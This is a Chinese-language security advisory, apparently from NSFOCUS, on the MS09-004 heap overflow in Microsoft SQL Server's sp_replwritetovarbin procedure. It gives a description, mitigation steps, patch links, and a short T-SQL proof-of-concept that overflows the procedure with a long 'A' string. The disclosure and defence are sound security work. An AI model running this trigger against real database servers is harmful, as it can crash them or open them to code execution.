安全研究

安全漏洞
Microsoft SQL Server sp_replwritetovarbin远程堆溢出漏洞(MS09-004)

发布日期:2008-12-09
更新日期:2009-02-11

受影响系统:
Microsoft SQL Server 2005 SP2
Microsoft SQL Server 2005 SP1
Microsoft SQL Server 2000
描述:
BUGTRAQ  ID: 32710
CVE(CAN) ID: CVE-2008-4270,CVE-2008-5416

Microsoft SQL Server是一款流行的SQL数据库系统。

SQL Server的sp_replwritetovarbin扩展存储过程中存在堆溢出漏洞。如果远程攻击者在参数中提供了未初始化变量的话,就可以触发这个溢出,向可控的位置写入内存,导致以有漏洞SQL Server进程的权限执行任意代码。

在默认的配置中,任何用户都可以访问sp_replwritetovarbin过程。通过认证的用户可以通过直接的数据库连接或SQL注入来利用这个漏洞。

<*来源:Bernhard Mueller (research@sec-consult.com
  
  链接:http://secunia.com/advisories/33034/
        http://www.sec-consult.com/files/20081209_mssql-2000-sp_replwritetovarbin_memwrite.txt
        http://marc.info/?l=bugtraq&m=122893402319138&w=2
        http://www.microsoft.com/technet/security/Bulletin/MS09-004.mspx?pf=true
        http://www.us-cert.gov/cas/techalerts/TA09-041A.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

DECLARE @buf NVARCHAR(4000),
@val NVARCHAR(4),
@counter INT

SET @buf = '
declare @retcode int,
@end_offset int,
@vb_buffer varbinary,
@vb_bufferlen int,
@buf nvarchar;
exec master.dbo.sp_replwritetovarbin 1,
  @end_offset output,
  @vb_buffer output,
  @vb_bufferlen output,'''

SET @val = CHAR(0x41)

SET @counter = 0
WHILE @counter < 3000
BEGIN
  SET @counter = @counter + 1
  SET @buf = @buf + @val
END

SET @buf = @buf + ''',''1'',''1'',''1'',
''1'',''1'',''1'',''1'',''1'',''1'''

EXEC master..sp_executesql @buf

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 拒绝sp_replwritetovarbin扩展存储过程的权限
    
要拒绝对存储过程的访问,请以sysadmin身份使用osql.exe或sqlcmd.exe,或者通过SQL Server Management Studio连接到SQL Server,并执行以下T-SQL的脚本:

use master
deny execute on sp_replwritetovarbin to public

使用SQL Server管理拒绝对存储过程的访问:
    
对于SQL Server2000:
    
1. 以sysadmin身份使用企业管理器连接到SQL服务器
2. 从SQL Server企业管理器窗口中,选择所需的服务器
3. 展开数据库
4. 展开“主服务器”
5. 单击“扩展存储过程”。出现一个存储过程列表。
6. 从存储过程列表中,右键单击sp_replwritetovarbin,然后选择“属性”
7. 在“属性”窗口中,单击“权限”
8. 在用户/数据库角色/公共下,找到“公共”,然后单击EXEC列中的框。该框变为一个红色X。
9. 单击“确定”两次
    
对于SQL Server 2005:

1. 以sysadmin身份使用SQL Server Management Studio连接到SQL Server
2. 从“对象资源管理器”窗口,选择所需的服务器
3. 展开数据库和系统数据库
4. 展开“主服务器”
5. 展开“编程性”
6. 单击“扩展存储过程”。出现一个存储过程列表。
7. 从存储过程列表中,右键单击sp_replwritetovarbin,然后选择“属性”
8. 在“属性”窗口中,单击“权限”
9. 单击所需用户ID旁边的“拒绝执行”,然后单击“确定”

厂商补丁:

Microsoft
---------
Microsoft已经为此发布了一个安全公告(MS09-004)以及相应补丁:
MS09-004:Vulnerability in Microsoft SQL Server Could Allow Remote Code Execution (959420)
链接:http://www.microsoft.com/technet/security/Bulletin/MS09-004.mspx?pf=true

浏览次数:10210
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障